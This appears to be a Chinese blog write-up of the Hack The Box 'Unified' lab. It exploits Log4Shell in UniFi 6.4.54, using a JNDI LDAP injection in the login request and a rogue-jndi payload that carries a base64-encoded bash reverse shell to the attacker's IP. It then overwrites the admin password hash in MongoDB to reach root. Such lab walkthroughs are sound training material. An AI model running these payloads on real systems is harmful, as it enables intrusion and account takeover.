HTB-Unified靶场练习
靶机地址:10.129.96.149
攻击机地址:10.10.14.121
端口扫描
nmap -sC -A 10.129.96.149
发现四个端口: 22、6789、8080、8443
访问10.129.96.149:8080,页面跳转到
https:// 10.129.96.149:8443/manage/account/login?redirect=%2Fmanage
使用万能密码admin’ or 1=1 # 和一些弱密码进行尝试性的登录,但都失败了
观察到网页的版本为unifi 6.4.54,通过搜索引擎来寻找该项目存在的历史漏洞
注意到cve-2021-44228,再查找一些该漏洞的利用方法
访问页面,F12进入控制台,点击network,输入帐号密码,点击登录,查看发送的数据,其中有一个状态为400的登录包
点击编辑且重发
将remember字段的值换成${jndi:ldap://攻击机ip/whatever}
发送后返回信息api.err.InvalidPayload
LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一个为查询、浏览和搜索而优化的数据库,具有树状结构,像文件目录一样,用于查询,具有优异的读性能。
JNDI(Java Naming and Directory Interface):Java命名和目录接口(命名服务接口)
命名服务:用于根据名字找到位置、服务、信息、资源、对象等信息
基本操作:
1、发布服务(名字和资源的映射)
2、用名字查找资源
JDBC连接数据库需要提供驱动、数据库名、帐号、密码、ip、端口等信息,但JNDI连接数据库只需要提供名字,其他信息已经被封装在配置中,JNDI出现简化了访问资源
使用工具tcpdump对389端口进行抓包
tcpdump -i tun0 -p 389
-i 监听网卡,-p指定端口
回到浏览器重发请求,如果存在log4j漏洞,389端口会收到请求
由此得出该机器存在log4j漏洞
攻击原理:https://blog.csdn.net/hilaryfrank/article/details/121939902
漏洞利用
工具:rogue-jndi开源工具,开启本地LDAP服务,允许我们连接存在漏洞的服务器中并执行恶意代码
前提安装好java环境和maven环境
下载工具包rogue-jndi
进行编译操作mvn package
出现build success,即编译成功
在该目录下会生成target文件夹,target文件夹中存在RogueJndi-1.1.jar,拥有该jar包后可以构建payload
为了防止反向shell在传输过程中存在编码问题,需要对其进行base64编码
(Cg==为换行符,不是加密内容的部分)
构建代码,一旦存在漏洞的机器,连接本机,就会执行攻击代码
java -jar RogueJndi-1.1.jar --command "bash -c {echo,L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEyMS84ODg4IDA+JjEn}|{base64,-d}|{bash,-i}" --hostname "10.10.14.121"
开启nc监听8888端口
为了方便起见,使用命令行(curl)来执行请求
curl 'https://10.129.96.149:8443/api/login' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Referer: https://10.129.96.149:8443/manage/account/login?redirect=%2Fmanage' -H 'Origin: https://10.129.96.149:8443' -H 'Connection: keep-alive' -H 'Sec-Fetch-Dest: empty' -H 'Sec-Fetch-Mode: no-cors' -H 'Sec-Fetch-Site: same-origin' -H 'Content-Type: application/json; charset=utf-8' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' --data-raw '{"username":"admin","password":"aaaaaaaa","remember":"${jndi:ldap://10.10.14.121:1389/o=tomcat}","strict":true}' -k
收到LDAP请求
8888端口收到反向shell
因为该网站的数据库为mongodb
所以先查找数据库相关信息
ps aux | grep mongo
可以看到mongodb允许在27117端口
通过google搜索unifi默认数据库
默认数据库名字为ace
来查找数据库中的用户
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
获得高权限用户的信息
使用工具hashid来分析x_shadow
该密码用sha-512加密
使用工具mkpasswd来加密自己的密码,为之后替换掉原来的密码
$6$vBX6aAwptz/U.iZs$zNUU2gw60TQpzEJuWen8wXxiKsPzKjLCE5U0rwbletqPgKVyi47xne/NOIgK2tRLLu6uWZDpEABMZbaPQ6AfD0
替换目标机器的administrator密码
mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$Bo4PiYCabaCOoNHJ$/GFpReqn.xGANGT5MQZOCj3PpXsdV28vsaD/45XcZ8WPSsNqHbqFRuWLsLp7qVwv73HAa3Sll4cSWjttxcX8y."}})'
进入/home/machael,得到user.txt
更改完的密码后,访问10.129.96.149:8080,使用帐号administrator,密码123456进行登录
成功登录
点击设置=>site=>发现root和密码
因为该机器开放22端口允许ssh认证,所以使用ssh进行连接
连接成功,读取家目录下的root.txt得到flag
posted on 2023-09-22 13:26 Wav3W1nd50r 阅读(101) 评论(0) 编辑 收藏 举报